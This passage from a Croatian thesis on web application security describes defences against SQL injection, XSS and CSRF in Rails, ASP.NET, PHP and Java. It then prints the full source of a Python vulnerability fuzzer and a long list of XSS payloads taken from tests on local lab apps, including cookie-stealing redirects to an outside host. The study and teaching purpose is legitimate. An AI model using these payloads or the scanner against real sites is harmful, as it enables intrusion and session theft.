"neka<script>alert('XSS')</script>"

escapeHTML() skraćeno se može koristiti alias h() zamjenjuje znakove &,'',<,> sa

reprezentacijom tih znakova u HTML-u: &amp;, &auot;, &lt;, i &gt; Glavni nedostatak ove

metode je što se mora koristiti za svako polje posebno, i programeri mogu to lagano

zaboraviti svaki puta staviti alias h. Drugi veliki nedostatak je da iako će text biti zamijenjen

za reprezentacijom u HTML-u još uvijek to ne sprečava da se takav unos pohrani u bazu

podataka.

Preporuča se korištenje SafeErb ili XSS_terminate plugin-ova.

Puno bolji pristup je korištenje sanitize() metode, koja dozvoljava specificiranje koji html

tagovi se mogu koristiti. Štiti od XSS napada je u potpunosti uklanja JavaScript kod. Najčešće

se koristi za izradu „bijelih lista“ odnosno lista sa dozvoljenim elementima.

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br

cite sub sup ins p)

s = sanitize(user_input, tags: tags, attributes: %w(href title))

Niti ova metoda nije 100% sigurna, moguće je napravljen filtar zaobići sa eval() metodom jer

se unutar nje može sakriti npr. riječ innerHTML:

alert(eval('document.body.inne' + 'rHTML'));

Stoga, radije se preporuča korištenje plugin-ova kao što su html5lib, Sanitize ili Loofah.

html_safe i raw() metode su vrlo slične, provjeravaju da li je znakovni niz siguran za prikaz

kao HTML.

Strong metoda u Aplication Helepr-u uklanja <strong> tag.

Kod izrade formi, preporuča se uvijek koristiti form helper unutar Rails-a kao što je

primjerice form_for i sl. kako bi se smanjila mogućnost CSRF napada.

Za enkripciju lozinki unutar tablice u bazi podataka koristi se bcrypt-ruby gem.

Potrebno je u gem datoteku nadodati sljedeću liniju koda:

gem 'bcrypt-ruby', :require=>'bcrypt'.

96

Sljedeća slika prikazuje uporabu bcrypt-a za sažimanje lozinke kod autentifikacije:

Slika 5:Ruby bcrypt uporaba

Sljedeća slika prikazuje korištenje form_for metode, koja uzima Active Record objekt i

konstruira formu koristeći atribute tog objekta.

Slika 6: Korištenje form_for metode

97

Sljedeća slika prikazuje korištenje link_to metode. Potrebno je napomenuti da kod korištenja

link_to, nije potrebno koristiti i h alias za saniranje, jer Rails već to obavlja automatski.

Međutim čak iako se napiše i jedno i drugo, Rails mehanizam je pametan i neće dva puta

napraviti saniranje.

Slika 7: Korištenje link_to i h aliasa

Na sljedećoj slici prikazano je zaštita od CSRF napada korištenjem protect_from_forgery.

Ova opcija daje svakoj napravljenoj formi sakriveno id polje.

Slika 8:Zaštita od CSRF u Rails-u

Pravilno korištenje Active Recorda unutar ruby on rails 3 nadalje štiti i od XSS i od SQL

injection-a.

98

8.2 C#/ASP.NET

ASP.NET MVC je vrlo popularna razvojna okolina za razvoj web tehnologija po MVC

uzorku. Temelji se na ASP.NET-u i C# programskim jezicima.

Najčešća greška kod ASP.NET programera što pišu dinamički SQL kako bi izvršili neke

operacije nad bazom podataka.

Za obranu od SQLi u ASP.NET MVC-u potrebno je sljedeće:

1. koristiti pohranjene procedure (ne koristiti ili dodavati dinamički SQL unutar

pohranjene procedure, ako se koristi potrebno je koristiti sp_executesql jer

može primiti parametriziran upit).

2. koristiti parametrizirane upite

3. koristiti ORM npr. entity framework koji u svojoj pozadini također koristi

parametrizirane upite

Za obranu od XSS napada ASP.NET MVC4 dolazi sa već ugrađenom podrškom za saniranje

HTML-a i XSS bibliotekama.

Slika 9:Biblioteke koje ako se pravilno koriste nude vrlo dobru zaštitu.

Funkcije i metode koje nude zaštitu od XSS-a i CSRF-a:

Sanitizer.GetSafeHtml(..) - ova metoda se koristi za saniranje HTML elemenata, i

uklanja sve JavaScript kodove koji bi se mogli zvršiti, te još i formatira HTML

ValidateAntiForgeryToken - služi samo kao zaštita od CSRF. Ne štiti od XSS-a i treba se

koristiti u paru sa ANtiXSS bibliotekom i HtmlSanitization bibliotekom.

Za sažimanje lozinki koristi se također ugrađena BCrypt biblioteka.

Za HTML kodiranje koristi se:

99

<%=Server.HtmlEncode(poruka) %>

@poruka razor sintaksa

Encoder.HtmlEncode(poruka)

Sljedeća slika prikazuje dio automatski generirane web aplikacije u Visual Studiu 2010

koristeći ASP.NET MVC4. Svi potrebni temeljni sigurnosni koraci su napravljeni.

Slika 10: Jedan dio automatski izgenerirane web aplikacije

100

8.3 PHP

PHP je jedan od najraširenijih i najpopularnijih jezika u web programiranju. Mnogo aplikacija

su napravljene upravo pomoću PHP-a, uključujući mnoge poznate CMS sustave. Orijentiran

je po C i Perl sintaksi.

Kroz primjer prijave i registracije korisnika prikazane su ključne funkcije i metode za zaštitu

od SQLi i XSS napada.

PHP funkcije koje se koriste za saniranje i zaštitu od XSS-a:

htmlentities() - funkcija je identična kao i htmlspecialchars(), pretvara znakove u

HTML entitete, međutim za razliku od i htmlspecialchars() nije kompatibilna sa

XML-om, uključujući i HTML5 XML serijalizacijom Primjer kako funkcionira:

'&' (ampersand) postaje '&amp;'

'"' (dvostruki navodnik) postaje '&quot;' when ENT_NOQUOTES is not set.

"'" (jednostruki navodnik) postaje '&#039;' (or &apos;) only when ENT_QUOTES

is set.

'<' (manje od) postaje '&lt;'

'>' (veće od) postaje '&gt;'

htmlspecialchars() - generalno gledajući ova funkcija je dovoljna za filtriranje izlaza

koji se prikazuje u web pregledniku ako se koristi ISO-8859-1ili UTF-8, za ostale

tipove kodiranja preporuća se korištenje htmlentities() funkcije.

strip_tags() - uklanja HTML, XML, i PHP tagove iz zadanog niza

stripslashes() - funkcija uklanja „\“ koje dodaje addslashes() funkcija

Potrebno je napomenuti da navedene funkcije treba isključivo koristiti u kombinaciji jedne s

drugima, jer same po sebi pružaju zaštitu po samo jednom segmentu. Primjer kako se zajedno

mogu koristiti navedene funkcije:

$ocisti=trim($vrijednost);

$ocisti =strip_tags($cleanval);

$ocisti =stripslashes($cleanval);

$ocisti =mysql_real_escape_string($cleanval);

$ocisti =htmlspecialchars($cleanval);

Također navedene funkcije mogu se koristiti i u kombinaciji sa XSS filtrima temeljnim na

dozvoljenim i nedozvoljenim listama.

101

Najviše se preporuča korištenje gotovih HTML parsera/biblioteka kao što su HTMLPurifier,

Wibble i OWASP ESAPI.

Najbolja zaštita od SQLi-a je korištenje parametrziranih upita ili pripremljenih

izjava(prepared statements). Kod PHP-a postoje dvije opcije:

Korištenje PDO (PHP Data Objects):

$stmt = $pdo->prepare('SELECT * FROM zaposlenici WHERE ime = :ime');

$stmt->execute(array(':ime' => $ime));

foreach ($stmt as $row) {

echo $row;

}

Korištenje mysqli:

$stmt = $dbConnection->prepare('SELECT * FROM zaposlenici WHERE ime = ?');

$stmt->bind_param('s', $ime);

$stmt->execute();

$rez = $stmt->get_result();

while ($row = $rez->fetch_assoc()) {

echo $row;

}

U ovo praktičnom primjeru prijave i registracije korisnika korišten je PDO. PDO je sloj baze

podataka koji pruža metode za pristup bazama podataka. SQL upit se prosljeđuje do prepare

funkcije gdje se raščlanjuje i kompilira od strane servera baze podataka. Određivanjem

parametara (? ili :ime) daje se bazi podataka informacija gdje se želi filtrirati. Kad se pozove

execute funkcija pripremljena izjava se kombinira sa vrijednostima parametara koji su

određeni. Znači SQL upit/izjava je poslan i raščlanjen (parsiran) od strane poslužitelja baze

podataka odvojeno od bilo kakvog parametra. Na taj način je nemoguće provesti SQLi napad.

102

Slika 11:izgled forme za prijavu korisnika

Slika 12: izgled forme za registraciju korisnika

Na sljedećoj slici se mogu može vidjeti pravilno korištenje PDO pripremljenih izjava. Važno

je obratiti pozornost na postavljanje PDO atributa koji se odnose na hvatanje iznimki, kako se

napadač ne bi mogao saznati informacije iz grešaka odnosno iznimki.

103

Slika 13: prikazuje sažimanje lozinke kod prijave, i korištenje pripremljenih izjava

Sljedeća slika prikazuje ispravno korištenje sesija kod proces prijave korisnika. Potrebno je

obratiti pozornost na session_regenerate_id(). Ta funkcija će zamijeniti trenutni sesijski ID sa

novim, i čuvati informaciju trenutne sesije. Na taj način je spriječena krađa sesija!

Slika 14:Zaštita od kađe sesija

Sve podatke koji dolaze od strane korisnika je potrebno filtrirati.

Slika 15: Zaštita od XSS-a filtriranjem

Važno je da se lozinka kod registracije, odnosno kod upisa u bazu podataka sažima (hash-ira).

Ako kojim slučajem napadač i dobije pristup podacima korisnika unutar tablice, sažimanje

sprečava od krađa lozinki. Obično korisnici imaju jednu ili dvije lozinke za sve aplikacije koje

koriste, stoga ako bi se napadač dokopao lozinki, privatnost mnogih korisnika bi bila narušena

te još mnoge druge opasnosti koje bi takav razvoj situacije potaknuo.

Slika 16:Sažimanje(hashing)lozinke

Za sažimanje se ne preporuča korištenje SHA1 i MD5 algoritama već Bcrypt ili SHA2. Bcrypt

sažimanje je najsporije ali zato i najsigurnije/najbolje.

104

8.4 Java

U dobro dizajniranoj aplikaciji, logika baze podataka je odvojena od poslovne i prezentacijske

logike i radi neovisno o istima. Ovakav način omogućava i olakšava programerima bolje

održavanje, testiranje, ponovno korištenje i modificiranje. Održavanje je bolje jer je logika

baze podataka koncentrirana u jednom sloju, stoga nije potrebno programski kod koji je vezan

za bazu podataka tražiti u različitim klasama sa ostalim programskim kodom. Testiranje je

lakše jer logika baze podataka djeluje neovisno o slojevima poslovne i prezentacijske logike.

Ponovno korištenje je na ovaj način vrlo pojednostavljeno. Za uporabu potrebno je samo

podesiti istu logiku baze podataka u classpath neke druge aplikacije (npr. JSF, JSP, Swing i

sl. ). Lakša je i modifikacija jer se vrlo lako mogu dodati sučelja, pa nema potrebe za

zamjenama programskog koda u poslovnoj i prezentacijskoj logici kada se želi prebaciti iz

JDBC-a u Hibernate ili JPA.

Podatkovni sloj (data layer)

Sloj baze podataka se još naziva i podatkovni sloj. Sastoji se od objekata baze podataka

kojima se pristupa. Ti objekti mogu stvarati odnosno pisati, čitati, modificirati i brisati objekte

modela u/iz baze (vršiti CRUD operacije).

U ovoj aplikaciji korišten je podatkovni sloj temeljen na JDBC aplikacijskom programibilnom

sučelju. Osnovno cilj je mapiranje između neke tablice i nekog modela u Java kodu.

Za obranu od SQLi koriste se pripremljene izjave i parametarski upiti. Primjer:

String selectStatement = "SELECT * FROM Korisnik WHERE korisnikId = ? ";

PreparedStatement prepStmt = con.prepareStatement(selectStatement);

prepStmt.setString(1, korisnikId);

ResultSet rs = prepStmt.executeQuery();

Sljedeća slika prikazuje korištenje pripremljenih izjava kod bilo kakvog rukovanja sa bazom

podataka, kako bi se spriječio SQLi.

105

Slika 17:Korištenje pripremljeni izjava kao zaštita protiv SQLi

Za obranu od XSS-a u JSP/Servlet aplikacijama koristi se JSLT <c:out> tag ili funkciju

fn:escapeXml() kod ponovno prikazivanja podataka unošenih od strane korisnika. To

uključuje zaglavlja, cookie, URL, body, parametre itd.

Primjer:

<p><c:out value="${bean.userControlledValue}"></p>

<p><input name="foo" value="${fn:escapeXml(param.foo)}"></p>

To će pretvoriti <, >, ", ',& u &lt;, &gt;, &quot;, &apos; i &amp;

Ako se koristi bilo koja poznatija ORM biblioteka i aplikacijskih programskih sučelja kao što

je Hibernate, Sax i sl., to je već sve uzeto u obzir i odrađuje se automatikom.

Naravno moguće je i korištenje filtera sa različitim dozvoljenim i nedozvoljenim listama.

Ne preporuča se izrada vlastitih listi jer vrlo lagano neke stvari izostaviti.

Zbog toga ako se već koriste filteri tada se preporuča korištenje gotovih rješenja kao što je

OWASP ESAPI API i slično.

106

Sljedeća slika prikazuje logiku filtera koji se koristi za filtriranje zahtjeva. Filtrirati se mogu i

zahtjevi i odgovori.

Slika 18:XSS filter

107

Sljedeća slika prikazuje korištenje XSS filtera i za zahtjeve i za odgovore.

Slika 19:Upotreba XSS filtera za filtriranje zahtjeva i odgovora

Sljedeća slika prikazuje enkripciju sažimanjem u jednom smjeru. Jednom kada se lozinka

kriptira sažimanjem ne može se više vratiti u prvobitno stanje. Korišten je SHA

algoritam.

108

Slika 20:Klasa koja se koristi kod sažimanje lozinke

U ORACLE bazi podataka možemo vidjeti kako niti jedna lozinka nije u čitljivom obliku, već

su sažete. U slučaju neovlaštenog upada u bazu podataka sačuvati će se integritet lozinki.

109

Slika 21:Sve lozinke unutar baze su sažete/šifrirane

110

8.5 Python

Fuzzer je mala aplikacija napisana u Pythonu koja služi kao pomoć pri otkrivanju SQLi i XSS

ranjivosti. Aplikacija možda hoće ali možda i neće naći točnu ranjivost ali će usmjeriti

ispitivača u pravom smjeru i time mu skratiti vrijeme potrebno za ručno testiranje ranjivosti.

Aplikacija može istovremeno vršiti testiranje ranjivosti na više web stranica.

Ispitivanje se vrši ubacivanjem testnog niza u forme-POST, URL parametre-GET i cookie-e.

Testni nizovi za otkrivanje ranjivosti čitaju se iz dvije zasebne datoteke sqli.txt i xss.txt

Prednost ove aplikacije je da je vrlo fleksibilna, moguće je ubacivanje bilo kakvih nizova,

nevezano za SQLi i XSS. Npr. Xpath izrazi i bilo koji drugi proizvoljni nizovi koje ispitivač

može sam konstruirati s obzirom na potrebe.

Aplikacija nije u potpunosti automatizirana, što znači da zahtjeva određen dio interakcije.

Potrebno je proslijediti URL i cookie za koji se želi provesti ispitivanje.

U datoteku se mogu dodati i URL-ovi i cookie-e. Primjer kako se aplikacija može pokrenuti :

1. python 1.py datoteka=urls.txt

2. python 1.py url=http://foi.hr/test.php?id=test

U prvom slučaju aplikacija vršti testiranja za sve web adrese i cookie-e unutar tekstualne

datoteke.

U drugom slučaju aplikacija vrši testiranje samo za proslijeđenu web adresu.

Sama provjera da li je neki parametar ranjiv ili ne, se vrši pretraživanjem ključnih riječi u

greškama koje generira web aplikacija ovisno o bazi podataka u pozadini, ili promjene unutar

strukture web stranice u slučaju ubacivanja JavaScripta.

Slika 22:Prikaz datoteke sa web adresama i sesijama

111

Slika 23:Prikaz datoteke sa testnim nizovima za SQLi

Slika 24: Prikaz datoteke sa testnim nizovima za XSS

112

U nastavku slijedi primjer ispisa ranjivosti za pojedinu ranjivu web aplikaciju koji je u ovom

slučaju ograničen na ispis samo jedne ranjivosti zbog opširnosti liste:

URL: http://192.168.1.241/WackoPicko/users/login.php

HTTP GET parametri: {}

Pronadjena moguca XSS ranjivost

XSS string: < script > < / script>

Redni broj ranjive forme: 1

URL: http://192.168.1.102/peruggia/index.php?action=login

HTTP GET parametri: {'action': ['login']}

URL: http://192.168.1.102/dvwa/vulnerabilities/brute/

HTTP GET parametri: {}

Pronadjena moguca SQL injection ranjivost

SQLi string: '

Redni broj ranjive forme: 1

URL: http://192.168.1.102/dvwa/vulnerabilities/xss_r/

HTTP GET parametri: {}

Pronadjena moguca XSS ranjivost

XSS string: < script > < / script>

Redni broj ranjive forme: 1

URL: http://192.168.1.102/dvwa/vulnerabilities/xss_s/

HTTP GET parametri: {}

URL: http://192.168.1.102/dvwa/vulnerabilities/sqli/

HTTP GET parametri: {}

Pronadjena moguca SQL injection ranjivost

SQLi string: '

113

Redni broj ranjive forme: 1

URL: http://192.168.1.102/dvwa/vulnerabilities/sqli_blind/

HTTP GET parametri: {}

Primjer ispisa bez ograničenja za jednu ranjivu web aplikaciju:

URL: http://192.168.1.102/WackoPicko/users/login.php

HTTP GET parametri: {}

Pronadjena moguca XSS ranjivost

XSS string: < script > < / script>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: &lt

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: &lt;

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: &LT

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: &LT;

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <<

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <<<

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: "><script>"

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <script>alert("XSS")</script>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <<script>alert("XSS");//<</script>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <script>alert(document.cookie)</script>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: '><script>alert(document.cookie)</script>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: '><script>alert(document.cookie);</script>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: \";alert('XSS');//

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: %3cscript%3ealert("XSS");%3c/script%3e

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: %3cscript%3ealert(document.cookie);%3c%2fscript%3e

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

114

XSS string: &ltscript&gtalert(document.cookie);</script>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: &ltscript&gtalert(document.cookie);&ltscript&gtalert

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <xss><script>alert('XSS')</script></vulnerable>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG%20SRC='javascript:alert(document.cookie)'>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG SRC="javascript:alert('XSS');">

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG SRC="javascript:alert('XSS')"

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG SRC=javascript:alert('XSS')>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG SRC=JaVaScRiPt:alert('XSS')>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG SRC=javascript:alert(&quot;XSS&quot;)>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG SRC=`javascript:alert("'XSS'")`>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG%20SRC='javasc ript:alert(document.cookie)'>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG SRC="jav ascript:alert('XSS');">

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG SRC="jav&#x09;ascript:alert('XSS');">

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG SRC="jav&#x0A;ascript:alert('XSS');">

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG SRC="jav&#x0D;ascript:alert('XSS');">

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG SRC=" &#14; javascript:alert('XSS');">

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG DYNSRC="javascript:alert('XSS')">

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG LOWSRC="javascript:alert('XSS')">

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string:

<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie

)'>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG

SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;

&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

115

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG

SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#00001

12&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039

&#0000088&#0000083&#0000083&#0000039&#0000041>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <IMG

SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x7

4&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: "><script>document.location='http://localhost/cgi-

bin/cookie.cgi?'+document.cookie</script>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string:

%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Db

in%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string:

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";

alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></S

CRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: '';!--"<XSS>=&{()}

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <name>','')); phpinfo(); exit;/*</name>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <![CDATA[<script>var n=0;while(true){n++;}</script>]]>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string:

<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <?xml version="1.0" encoding="ISO-8859-

1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[

>]]></foo>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <xml ID=I><X><C><![CDATA[<IMG

SRC="javas]]><![CDATA[cript:alert('XSS');">]]>

Redni broj ranjive forme: 1

Pronadjena moguca XSS ranjivost

XSS string: <xml ID="xss"><I><B>&lt;IMG SRC="javas<!-- --

>cript:alert('XSS')"&gt;</B></I></xml><SPAN DATASRC="#xss" DATAFLD="B"

DATAFORMATAS="HTML..

Sva ispitivanja su provedena na ranjivim aplikacijama unutar lokalnog testnog okruženja.

116

U nastavu je prikazan cijeli izvorni kod Fuzzer aplikacije:

# -*- coding: utf-8 -*-

import urllib, urllib2

import mechanize

import cookielib

import sys

import urlparse

import re

DBMS_ERRORS = {

"MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL

result", r"MySqlClient\."),

"PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid

PostgreSQL result", r"Npgsql\."),

"Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL

Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL

Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.",

r"(?s)Exception.*\WRoadhouse\.Cms\."),

"Microsoft Access": (r"Microsoft Access Driver", r"JET Database

Engine", r"Access Database Engine"),

"Oracle": (r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error",

r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*")

}

sqli_s = []

xss_s = []

dat = open("sqli.txt", "r")

sqli = dat.read()

dat.close()

sqli = sqli.split("\n")

dat = open("xss.txt", "r")

xss = dat.read()

dat.close()

xss = xss.split("\n")

def provjeri(html, html_pocetni, s, xss):

# provjera za SQLi

tip = None

vulnerable = False

for dbms in DBMS_ERRORS:

for regex in DBMS_ERRORS[dbms]:

if re.search(regex, html, re.I):

vulnerable = True

tip = 1

# provjera za XSS

if s in xss and html.find(s) >= 0 and html_pocetni.find(s) == -1:

vulnerable = True

tip = 2

return vulnerable, tip

datoteka = ""

url = ""

cookie = ""

117

urls = []

cookies = []

p1, p2 = "", ""

for arg in sys.argv[ 1: ]:

naziv, sadrzaj = arg.split("=")

if naziv == "url":

p1 = sadrzaj

#urls.append(sadrzaj)

elif naziv == "cookie": # ako je zadan url a ne cookie ?

p2 = sadrzaj

#cookies.append(sadrzaj)

elif naziv == "datoteka":

datoteka = sadrzaj

dat = open(datoteka, "r")

sadrzaj = dat.read()

sadrzaj = sadrzaj.split("\n")

for line in sadrzaj:

line = eval(line)

urls.append(line[0])

if len(line) == 2:

cookies.append(line[1])

else:

cookies.append("")

if p1 != "":

urls.append(p1)

cookies.append(p2)

def createBrowser(url, cookie):

br = mechanize.Browser()

cj = cookielib.LWPCookieJar()

br.set_cookiejar(cj)

br.set_handle_equiv(True)

#br.set_handle_gzip(True)

br.set_handle_redirect(True)

br.set_handle_referer(True)

br.set_handle_robots(False)

br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),

max_time=1)

#br.set_debug_http(True)

#br.set_debug_redirects(True)

#br.set_debug_responses(True)

br.addheaders.append(('Cookie', cookie))

try:

r = br.open(url)

return br, r

except:

print "Web adresa je nedostupna"

return None, None

for i in range(len(urls)):

print "URL:", urls[i]

br, r = createBrowser(urls[i], cookies[i])

# parsiranje URL-a za GET parametre

par = urlparse.parse_qs(urlparse.urlparse(urls[i]).query)

url_osnovni = urls[i].split("?")[0]

118

print "HTTP GET parametri:", par

html_pocetni = r.read()

vulnerable = False

# testiranje ranjivosti - GET parametri - SQLi

if len(par.keys()):

if vulnerable:

break

for s in sqli:

upit = "?"

for p in par:

par[p] = s

s = urllib.urlencode(par)

upit += s

br, r = createBrowser(url_osnovni + upit, cookies[i])

if not br:

continue

ima_ranjivost, tip = provjeri(html, html_pocetni, s, xss)

if ima_ranjivost:

if tip == 1:

vulnerable = True

print "Pronadjena moguca SQL injection ranjivost GET

parametara"

print "SQLi string:", s

vulnerable = True

vulnerable = False

tip = -1

# testiranje ranjivosti - forme - SQLi i XSS(POST)

for s in sqli + xss:

# if vulnerable and tip == 1:

# continue

# elif vulnerable and tip == 2:

# break

br, r = createBrowser(urls[i], cookies[i])

if not br:

continue

c = -1

try:

for f in br.forms():

# if vulnerable:

# break

c += 1

br.select_form(nr = c)

for control in f.controls:

if control.type == "text" or control.type ==

"password":

f[control.name] = s

br.submit()

html = br.response().read()

ima_ranjivost, tip = provjeri(html, html_pocetni, s, xss)

if ima_ranjivost:

if tip == 1:

print "Pronadjena moguca SQL injection ranjivost"

print "SQLi string:", s

print "Redni broj ranjive forme:", c + 1

vulnerable = True

tip = 1

elif tip == 2:

119

vulnerable = True

print "Pronadjena moguca XSS ranjivost"

print "XSS string:", s

print "Redni broj ranjive forme:", c + 1

vulnerable = True

tip = 2

except:

"Mechanize - greska"

print

print "##############################################################"

print

print

120

9 ZAKLJUČAK

U današnje vrijeme vrlo mnogo se koriste web aplikacije koje u svojoj pozadini imaju bazu podataka.

Stoga sigurnost baza podataka najviše ovisi o aplikativnom sloju, za razliku od prošlih vremena gdje je

glavna obrana od hakerskih napada bio mrežni sloj.

Sigurnosna okruženja web aplikacija nisu statična nego dinamična. Neće postavljeno sigurnosno

okruženje za jednu aplikaciju vrijediti i za drugu. Isto tako današnji napadi su više orijentirani na

korisnike web aplikacije nego na poslužiteljsku stranu kao što je to bio slučaj prije. Napadi na

korisnike su oni koji se najviše razvijaju i napreduju zadnjih nekoliko godina.

Kada se otkrije neka ranjivost vrlo brzo se nađu adekvatne zakrpe. Neki napadi i ranjivosti su već

prisutne dugo vremena na jedan te isti način, međutim to nažalost ne znači da se ne pojavljuju i danas.

Primjerice SQLi je prisutan već dugi niz godina, i razvijene su vrlo dobre metode obrane, a još uvijek

se pojavljuju slučajevi SQLi napada. Jedan od glavnih uzroka su defintivno programeri aplikacija koji

svojim propustima i neznanjem omogućuju ovakve napade.

Sigurnost kod NoSQL baza podataka još uvijek nije na zadovoljavajućoj razini. Zasigurno bi većim

korištenjem NoSQL baza podataka rasla i njihova sigurnost. Jer čim ima više korisnika to je veća

vjerojatnost da se pronađu ranjivosti i iste u kratkom roku i saniraju.

Definitvno dolaskom bilo koje nove tehnologije sa njom će doći i niz sigurnosnih ranjivosti koje će se

smanjivati kako će tehnologija biti stablinija.

Dovoljna je samo jedna linija „nesipravnog“ koda u web aplikaciji i to može učiniti cijeli unutrašnji

sustav nek organizacije ranjivim.

121

10 LITERATURA

1. Autori: Jeremiah Grossman Robert Hansen, Petko D.Petkov, Anton RAger Seth-

Fogie XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE

2. Autori: Dafydd Stuttard, Marcus Pinto - The Web Application Hackers's Handbook

3. Ryan C. Barnett - Web Application Defender's Cookbook: Battling Hackers and

Protecting Userse

4. Justin Clark - SQL Injection Attacks and Defense

5. https://www.owasp.org/index.php/SQL_Injection - dostupno 16.9.2013. - dostupno

16.9.2013.

6. https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) - dostupno 16.9.2013.

7. https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet - dostupno

16.9.2013.

8. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sh

eet - dostupno 16.9.2013.

9. http://intellavis.com/blog/?p=462 - dostupno 16.9.2013.

10. http://www.us-cert.gov/sites/default/files/publications/Practical-SQLi-

Identification.pdf - dostupno 16.9.2013.

11. http://hakipedia.com/index.php/SQL_Injection - dostupno 16.9.2013.

